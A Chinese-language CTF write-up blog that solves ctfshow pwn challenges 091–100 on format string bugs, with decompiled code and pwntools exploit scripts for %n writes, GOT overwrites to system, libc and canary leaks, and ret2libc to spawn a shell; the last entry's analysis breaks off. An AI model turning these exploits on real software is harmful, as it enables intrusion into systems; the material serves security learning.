刷题#

pwn_091#

开始格式化字符串了，先来个简单的吧#

checksec查保护:

有canary和NX保护

ida反编译:

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  init(&argc);
4
  logo();
5
  ctfshow();
6
  if ( daniu == 6 )
7
  {
8
    puts("daniu praise you for a good job!");
9
    system("/bin/sh");
10
  }
11
  return 0;
12
}
13
unsigned int ctfshow()
14
{
15
  char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
16
  unsigned int v2; // [esp+5Ch] [ebp-Ch]
17

18
  v2 = __readgsdword(0x14u);
19
  memset(s, 0, sizeof(s));
20
  read(0, s, 0x50u);
21
  printf(s);
22
  printf("daniu now is :%d!\n", daniu);
23
  return __readgsdword(0x14u) ^ v2;
24
}

有格式化字符串漏洞,并且获取shell的条件是我们需要让daniu的值变成6,

先看偏移量:

在第7个位置上,接下来我们利用printf+%n向daniu地址写入6个字节的数据:

exp

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
6

7
sh = process("./pwn")
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10
rop = ROP('./pwn')
11

12
daniu_addr = elf.sym['daniu']
13

14
log.success(f"daniu_addr: {hex(daniu_addr)}")
15
# p = p32(daniu_addr)
16
# p += b'aa'
17
# p += b'%7$n'
18
p = fmtstr_payload(7, {daniu_addr: 6})
19
sh.sendline(p)
20
sh.interactive()

pwn_092#

可能上一题没太看懂？来看下基础吧

checksec查保护:

保护全开,ida反编译:

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  init(argc, argv, envp);
4
  logo();
5
  puts("Here is some example:");
6
  example();
7
  flagishere();
8
  return 0;
9
}
10
unsigned __int64 example()
11
{
12
  int v1; // [rsp+4h] [rbp-Ch] BYREF
13
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]
14

15
  v2 = __readfsqword(0x28u);
16
  printf("Hello CTFshow %%\n");
17
  puts("Hello CTFshow!");
18
  printf("Num : %d\n", 114514);
19
  printf("%s %s\n", "Format", "Strings");
20
  printf("%12c\n", 65);
21
  printf("%16s\n", "Hello");
22
  printf("%12c%n\n", 65, &v1);
23
  printf("%16s%n\n", "Hello!", &v1);
24
  printf("%2$s %1$s\n", "Format", "Strings");
25
  printf("%42c%1$n\n", &v1);
26
  return __readfsqword(0x28u) ^ v2;
27
}
28
unsigned __int64 flagishere()
29
{
30
  FILE *stream; // [rsp+8h] [rbp-68h]
31
  char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
32
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
33
  unsigned __int64 v4; // [rsp+68h] [rbp-8h]
34

35
  v4 = __readfsqword(0x28u);
36
  stream = fopen("/ctfshow_flag", "r");
37
  if ( !stream )
38
  {
39
    puts("/ctfshow_flag: No such file or directory.");
40
    exit(0);
41
  }
42
  fgets(s, 64, stream);
43
  printf("Enter your format string: ");
44
  __isoc99_scanf("%9s", format);
45
  printf("The flag is :");
46
  printf(format, s);
47
  return __readfsqword(0x28u) ^ v4;
48
}

运行看看:

输入%s打印字符即可.

pwn_093#

emmm，再来一道基础原理？

checksec查保护:

64位程序,保护全开,ida反编译:

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  int v4; // [rsp+4h] [rbp-Ch] BYREF
4
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]
5

6
  v5 = __readfsqword(0x28u);
7
  init(argc, argv, envp);
8
  logo();
9
  menu();
10
  puts("Enter your choice: ");
11
  __isoc99_scanf("%d", &v4);
12
  switch ( v4 )
13
  {
14
    case 1:
15
      func1();
16
      break;
17
    case 2:
18
      func2();
19
      break;
20
    case 3:
21
      func3();
22
      break;
23
    case 4:
24
      func4();
25
      break;
26
    case 5:
27
      func5();
28
      break;
29
    case 6:
30
      nothing_here();
31
      break;
32
    case 7:
33
      exit0();
34
      break;
35
    default:
36
      puts("Invalid choice. Please enter a valid option.");
37
      break;
38
  }
39
  return 0;
40
}
41
int __fastcall func2(__int64 a1, int a2, int a3, const void *a4, const void *a5, const void *a6)
42
{
43
  return printf("%08x-%07x-%p-%p-%p", a2, a3, a4, a5, a6);
44
}
45

46
unsigned __int64 exit0()
47
{
48
  FILE *stream; // [rsp+8h] [rbp-58h]
49
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
50
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]
51

52
  v3 = __readfsqword(0x28u);
53
  stream = fopen("/ctfshow_flag", "r");
54
  if ( !stream )
55
  {
56
    puts("/ctfshow_flag: No such file or directory.");
57
    exit(0);
58
  }
59
  fgets(s, 64, stream);
60
  printf("%s", s);
61
  return __readfsqword(0x28u) ^ v3;
62
}

输入7即可.

pwn_094#

好了，你已经学会1+1=2了，接下来继续加油吧

checksec查保护:

32位程序,NX保护开启,ida反编译:

1
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  init();
4
  logo();
5
  ctfshow();
6
}
7
void __noreturn ctfshow()
8
{
9
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
10
  unsigned int v1; // [esp+6Ch] [ebp-Ch]
11

12
  v1 = __readgsdword(0x14u);
13
  while ( 1 )
14
  {
15
    memset(buf, 0, sizeof(buf));
16
    read(0, buf, 0x64u);
17
    printf(buf);
18
  }
19
}
20
void sys()
21
{
22
  system("echo Write here!");
23
}

循环向buf中写入最大0x64字节的数据,然后通过printf打印出来,这里就有格式化字符串漏洞,并且给了一个sys()函数,思路是利用格式化字符串修改下一个循环调用printf()改为调用system(),也就是将printf_got指向改为system_plt,再传入/bin/sh即可.

先看看偏移:

在第6个位置.

exp

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
6

7
sh = process("./pwn")
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10
rop = ROP('./pwn')
11

12
printf_got = elf.got['printf']
13
system_plt = elf.plt['system']
14

15
# p = fmtstr_payload(6, {printf_got: system_plt})
16
offset = 6
17
low_val = system_plt & 0xffff
18
hign_val = (system_plt >> 16) & 0xffff
19
wait_1 = low_val - 8
20
wait_2 = (hign_val - low_val) & 0xffff
21

22
p = p32(printf_got)
23
p += p32(printf_got + 2)
24
p += f"%{wait_1}c%{offset}$hn".encode()
25
p += f"%{wait_2}c%{offset + 1}$hn".encode()
26
sh.sendline(p)
27
sh.sendline(b'/bin/sh\x00')
28
sh.interactive()

pwn_095#

加大了一点点难度，不过对你来说还是so easy 吧

checksec查保护:

32位程序,开启了NX保护,ida反编译:

1
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  init();
4
  logo();
5
  ctfshow();
6
}
7

8
void __noreturn ctfshow()
9
{
10
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
11
  unsigned int v1; // [esp+6Ch] [ebp-Ch]
12

13
  v1 = __readgsdword(0x14u);
14
  while ( 1 )
15
  {
16
    memset(buf, 0, sizeof(buf));
17
    read(0, buf, 0x64u);
18
    printf(buf);
19
    fflush(stdout);
20
  }
21
}

没有system函数,加入了一个fflush函数,其会强制将缓冲区中的内容立即输出到屏幕.可以尝试泄露函数got的地址,然后计算出libc的基址,从而获取system的地址,将printf或者fflush修改位system.

首先确定偏移:

为第六个参数.

1
#!/usr/bin/env python3
2

3
from pwn import *
4
from LibcSearcher import *
5

6
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
7

8
sh = process("./pwn")
9
# sh = remote("ip", port)
10
elf = ELF('./pwn')
11
rop = ROP('./pwn')
12
libc = ELF('/usr/lib32/libc.so.6')
13

14
printf_got = elf.got['printf']
15
libc_main_got = elf.got['__libc_start_main']
16

17
offset = 6
18

19
p = p32(printf_got)
20
p += b"%6$s"
21
sh.sendline(p)
22
printf_addr = u32(sh.recvuntil(b"\xf7")[-4: ])
23
p = p32(libc_main_got)
24
p += b"%6$s"
25
sh.sendline(p)
26
libc_main_addr = u32(sh.recvuntil(b"\xf7")[-4: ])
27
log.success(f"printf_addr: {hex(printf_addr)}, libc_main_addr: {hex(libc_main_addr)}")
28
# sh.sendline(b'/bin/sh\x00')
29
# libc = LibcSearcher('printf', printf_addr)
30
# libc.add_condition('__libc_start_main', libc_main_addr)
31

32
# libc_base = printf_addr - libc.dump('printf')
33
libc_base = printf_addr - libc.sym['printf']
34
system_addr = libc_base + libc.sym['system']
35

36
p = fmtstr_payload(offset, {printf_got: system_addr})
37

38
sh.sendline(p)
39
sh.sendline(b"/bin/sh\x00")
40

41
sh.interactive()

pwn_096#

先找一下偏移

checksec查一下保护:

32位程序,开启了NX保护,ida反编译一下:

1
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  char s_1[64]; // [esp+0h] [ebp-90h] BYREF
4
  char s[64]; // [esp+40h] [ebp-50h] BYREF
5
  FILE *stream; // [esp+80h] [ebp-10h]
6
  char *s_2; // [esp+84h] [ebp-Ch]
7
  int *p_argc; // [esp+88h] [ebp-8h]
8

9
  p_argc = &argc;
10
  setvbuf(stdout, nullptr, 2, 0);
11
  s_2 = s_1;
12
  memset(s, 0, sizeof(s));
13
  memset(s, 0, sizeof(s));
14
  puts(asc_8048830);
15
  puts(asc_80488A4);
16
  puts(asc_8048920);
17
  puts(asc_80489AC);
18
  puts(asc_8048A3C);
19
  puts(asc_8048AC0);
20
  puts(asc_8048B54);
21
  puts("    * *************************************                           ");
22
  puts(aClassifyCtfsho);
23
  puts("    * Type  : Format_String                                           ");
24
  puts("    * Site  : https://ctf.show/                                       ");
25
  puts("    * Hint  : Flag on the stack!                                      ");
26
  puts("    * *************************************                           ");
27
  puts("It's time to learn about format strings!");
28
  puts("Where is the flag?");
29
  stream = fopen("/ctfshow_flag", "r");
30
  if ( !stream )
31
  {
32
    puts("/ctfshow_flag: No such file or directory.");
33
    exit(0);
34
  }
35
  fgets(s_1, 64, stream);
36
  while ( 1 )
37
  {
38
    printf("$ ");
39
    fgets(s, 64, stdin);
40
    printf(s);
41
  }
42
}

flag在栈上,并且比s先一步存储在栈上,所以我们可以尝试通过格式化字符串%p打印栈上的数据,获取flag.

可以看道,从第6个开始,是flag的ascii的hex的小端序数据,解码:

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
nums = [
6
    0x67616c66,
7
    0x6968747b,
8
    0x73695f73,
9
    0x6165725f,
10
    0x665f796c,
11
    0x7d67616c
12
]
13

14
for num in nums:
15
    print(f"{p32(num).decode()}", end = '')

pwn_097#

覆写某个值满足某条件好像就可以了

checksec查保护:

开启了canary和nx保护,ida反编译

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  char s[64]; // [esp+10h] [ebp-4Ch] BYREF
4
  unsigned int v5; // [esp+50h] [ebp-Ch]
5
  int *p_argc; // [esp+54h] [ebp-8h]
6

7
  p_argc = &argc;
8
  v5 = __readgsdword(0x14u);
9
  setvbuf(stdout, nullptr, 2, 0);
10
  puts(asc_8048A64);
11
  puts(asc_8048AD8);
12
  puts(asc_8048B54);
13
  puts(asc_8048BE0);
14
  puts(asc_8048C70);
15
  puts(asc_8048CF4);
16
  puts(asc_8048D88);
17
  puts("    * *************************************                           ");
18
  puts(aClassifyCtfsho);
19
  puts("    * Type  : Format_String                                           ");
20
  puts("    * Site  : https://ctf.show/                                       ");
21
  puts("    * Hint  : Find a way to elevate your privileges!                  ");
22
  puts("    * *************************************                           ");
23
  puts("You can use two command('cat /ctfshow_flag' && 'shutdown')");
24
  putchar(36);
25
  fgets(s, 64, stdin);
26
  if ( strstr(s, "shutdown") )
27
  {
28
    puts("See you~");
29
    exit(1);
30
  }
31
  if ( !strstr(s, "cat /ctfshow_flag") )
32
  {
33
    puts("Here you are:\n");
34
    printf(s);
35
  }
36
  get_flag();
37
  return 0;
38
}
39
int get_flag()
40
{
41
  if ( !check )
42
    return puts("Permission denied.");
43
  puts("Your privileges have been elevated to 'root'.\n#cat /ctfshow_flag");
44
  return flag();
45
}
46

47
int flag()
48
{
49
  FILE *stream; // [esp+8h] [ebp-40h]
50
  char s[48]; // [esp+Ch] [ebp-3Ch] BYREF
51
  unsigned int v3; // [esp+3Ch] [ebp-Ch]
52

53
  v3 = __readgsdword(0x14u);
54
  stream = fopen("/ctfshow_flag", "r");
55
  if ( !stream )
56
  {
57
    puts("/ctfshow_flag: No such file or directory");
58
    exit(0);
59
  }
60
  fgets(s, 48, stream);
61
  printf("%s", s);
62
  return 0;
63
}

接收64字节s,然后进行字符串匹配,如果没有cat /ctfshow_flag,则触发格式化字符串漏洞,进入到get_flag函数,同时,会检测check的值,如果为1,则会执行flag.

思路明了了,利用格式化字符串漏洞修改check的值为1即可.

先确定偏移:

在第11个位置上

exp

1
#!/usr/bin/env python3
2

3
from pwn import *
4

5
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
6

7
sh = process("./pwn")
8
# sh = remote("ip", port)
9
elf = ELF('./pwn')
10
rop = ROP('./pwn')
11

12
check_addr = elf.sym['check']
13

14
offset = 11
15

16
p = fmtstr_payload(offset, {check_addr: 1})
17
sh.sendline(p)
18
sh.interactive()

pwn_098#

Canary？有没有办法绕过呢？

checksec查保护:

32位程序,开启了canary和NX保护,ida反编译:

1
int __cdecl main(int argc, const char **argv, const char **envp)
2
{
3
  init();
4
  logo();
5
  ctfshow();
6
  return 0;
7
}
8
unsigned int ctfshow()
9
{
10
  char s[40]; // [esp+4h] [ebp-34h] BYREF
11
  unsigned int v2; // [esp+2Ch] [ebp-Ch]
12

13
  v2 = __readgsdword(0x14u);
14
  gets(s);
15
  printf(s);
16
  gets(s);
17
  return __readgsdword(0x14u) ^ v2;
18
}

标准的栈溢出+格式化字符串漏洞,思路是先利用格式化字符串漏洞泄露canary的值,然后再打ret2libc,计算偏移:

在第六个位置上,我们再寻找canary再栈上的第几个位置:

距离栈顶为(0xd0-0x0c),也就是在栈上第15的位置上,检验一下:

canary泄露出来之后,我们尝试泄露libc的地址,:

第一次没看见还有个后门函数,不过问题不大,通过格式化字符串泄露got表的真实地址,然后泄露出libc的基地址即可.

1
#!/usr/bin/env python3
2

3
from pwn import *
4
from LibcSearcher import *
5

6
context(os = "linux", arch = "i386", log_level = "debug", terminal = ["tmux", "splitw", "-h"])
7

8
sh = process("./pwn")
9
# sh = remote("ip", port)
10
elf = ELF('./pwn')
11
rop = ROP('./pwn')
12
libc = ELF('/usr/lib32/libc.so.6')
13

14
log.info("===============================steg1: leaking canary ==================================")
15
printf_got = elf.got['printf']
16
gets_got = elf.got['gets']
17
ret_addr = rop.find_gadget(['ret'])[0]
18
back_door = 0x080486CE
19
p = p32(printf_got) + p32(gets_got)
20
p += b"|%5$s"
21
p += b"|%6$s"
22
p +=b"|%15$p"
23

24

25
sh.recvuntil(b"then exploit it !")
26
sh.sendline(p)
27
# gdb.attach(sh)
28
sh.recvuntil(b"|")
29
printf_addr = u32(sh.recvuntil(b'\xf7')[-4:])
30
sh.recvuntil(b"|")
31
gets_addr = u32(sh.recvuntil(b'\xf7')[-4:])
32
sh.recvuntil(b"|")
33
canary = int(sh.recv(), 16)
34

35
log.success(f"canary: {hex(canary)}")
36

37
log.info("=================================steg2: leaking libc========================================")
38
# libc = LibcSearcher("printf", printf_addr)
39
# libc.add_condition("gets", gets_addr)
40

41
# libc_base = printf_addr - libc.dump("printf")
42
# system_addr = libc_base + libc.dump("system")
43
# bin_sh = libc_base + libc.dump("str_bin_sh")
44

45
libc_base = printf_addr - libc.sym["printf"]
46
system_addr = libc_base + libc.sym["system"]
47
bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
48

49
log.success(f"libc_base: {hex(libc_base)}, system_addr: {hex(system_addr)}")
50

51
offset = 0x34 - 0x0c
52

53
p = b"A" * offset
54
p += p32(canary)
55
p += b"B" * 0xc
56
# p += p32(back_door)
57
p += p32(system_addr)
58
p += p32(ret_addr)
59
p += p32(bin_sh)
60

61
sh.sendline(p)
62
sh.interactive()

pwn_099#

fmt盲打（不是忘记放附件，是本身就没附件！！！）

pwn_100#

有些东西好像需要一定条件

checksec查保护:

64位程序,保护全开 ,ida反编译

1
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  int v3; // [rsp+Ch] [rbp-14h] BYREF
4
  int v4; // [rsp+10h] [rbp-10h] BYREF
5
  unsigned int n2; // [rsp+14h] [rbp-Ch]
6
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]
7

8
  v6 = __readfsqword(0x28u);
9
  initial(argc, argv, envp);
10
  whattime();
11
  v3 = 0;
12
  v4 = 0;
13
  while ( 1 )
14
  {
15
    while ( 1 )
16
    {
17
      while ( 1 )
18
      {
19
        menu();
20
        n2 = get_int();
21
        if ( n2 != 2 )
22
          break;
23
        fmt_attack(&v3);
24
      }
25
      if ( n2 > 2 )
26
        break;
27
      if ( n2 == 1 )
28
        leak(&v4);
29
    }
30
    if ( n2 == 3 )
31
      get_flag();
32
    if ( n2 == 4 )
33
    {
34
      puts("Bye!");
35
      exit(0);
36
    }
37
  }
38
}
39

40
unsigned __int64 __fastcall initial(int argc, const char **argv, const char **envp)
41
{
42
  int fd; // [rsp+4h] [rbp-Ch]
43
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]
44

45
  v5 = __readfsqword(0x28u);
46
  setvbuf(stdin, nullptr, 2, 0);
47
  setvbuf(stdout, nullptr, 2, 0);
48
  setvbuf(stderr, nullptr, 2, 0);
49
  fd = open("/dev/urandom", 0);
50
  if ( read(fd, secret, 0x40u) < 0 )
51
  {
52
    puts("read error!");
53
    exit(1);
54
  }
55
  close(fd);
56
  return __readfsqword(0x28u) ^ v5;
57
}
58

59

60
unsigned __int64 whattime()
61
{
62
  __int64 v1; // [rsp+0h] [rbp-20h] BYREF
63
  __int64 v2; // [rsp+8h] [rbp-18h] BYREF
64
  __int64 v3; // [rsp+10h] [rbp-10h] BYREF
65
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
66

67
  v4 = __readfsqword(0x28u);
68
  puts("Hello my bro.");
69
  printf("What time is it :");
70
  _isoc99_scanf("%ld", &v1);
71
  _isoc99_scanf("%ld", &v2);
72
  _isoc99_scanf("%ld", &v3);
73
  printf("Ok! time is %ld:%ld:%ld\n", v1, v2, v3);
74
  return __readfsqword(0x28u) ^ v4;
75
}
76
unsigned __int64 menu()
77
{
78
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]
79

80
  v1 = __readfsqword(0x28u);
81
  puts("1. leak");
82
  puts("2. fmt_attack");
83
  puts("3. get_flag");
84
  puts("4. exit");
85
  printf(">>");
86
  return __readfsqword(0x28u) ^ v1;
87
}
88

89
int get_int()
90
{
91
  char nptr[8]; // [rsp+0h] [rbp-20h] BYREF
92
  __int64 v2; // [rsp+8h] [rbp-18h]
93
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
94

95
  v3 = __readfsqword(0x28u);
96
  *(_QWORD *)nptr = 0;
97
  v2 = 0;
98
  read_n(nptr, 15);
99
  return atoi(nptr);
100
}
101

102

103
unsigned __int64 __fastcall fmt_attack(int *a1)
104
{
105
  char format[56]; // [rsp+10h] [rbp-40h] BYREF
106
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]
107

108
  v3 = __readfsqword(0x28u);
109
  memset(format, 0, 0x30u);
110
  if ( *a1 > 0 )
111
  {
112
    puts("No way!");
113
    exit(1);
114
  }
115
  *a1 = 1;
116
  read_n(format, 40);
117
  printf(format);
118
  return __readfsqword(0x28u) ^ v3;
119
}
120

121
void __noreturn get_flag()
122
{
123
  int fd; // [rsp+Ch] [rbp-64h]
124
  char s2[88]; // [rsp+10h] [rbp-60h] BYREF
125
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]
126

127
  v2 = __readfsqword(0x28u);
128
  memset(s2, 0, 0x50u);
129
  puts("Flag is here ! Come on !!");
130
  read_n(s2, 64);
131
  if ( !strncmp(secret, s2, 0x40u) )
132
  {
133
    close(1);
134
    fd = open("/flag", 0);
135
    read(fd, s2, 0x50u);
136
    printf(s2);
137
    exit(0);
138
  }
139
  puts("No way!");
140
  exit(1);
141
}
142
unsigned __int64 __fastcall leak(int *a1)
143
{
144
  void *buf; // [rsp+10h] [rbp-10h] BYREF
145
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
146

147
  v3 = __readfsqword(0x28u);
148
  if ( *a1 > 0 )
149
  {
150
    puts("No way!");
151
    exit(1);
152
  }
153
  *a1 = 1;
154
  read_n((char *)&buf, 8);
155
  write(1, buf, 1u);
156
  return __readfsqword(0x28u) ^ v3;
157
}

获取flag的函数位get_flag(),但是需要我们输入一个与secret相同的字符串才能获取到flag,而secret是由/dev/urandom生成的.leak函数可以泄露栈上8字节的数据,fmt_attack则是一个格式化字符串漏洞.思路就是

Ne0XSec

刷题#

pwn_091#

pwn_092#

pwn_093#

pwn_094#

pwn_095#

pwn_096#

pwn_097#

pwn_098#

pwn_099#

pwn_100#

继续阅读

换条路线

评论

Ne0XSec

刷题#

pwn_091#

pwn_092#

pwn_093#

pwn_094#

pwn_095#

pwn_096#

pwn_097#

pwn_098#

pwn_099#

pwn_100#

分享文章

沿着主题读

换条路线

评论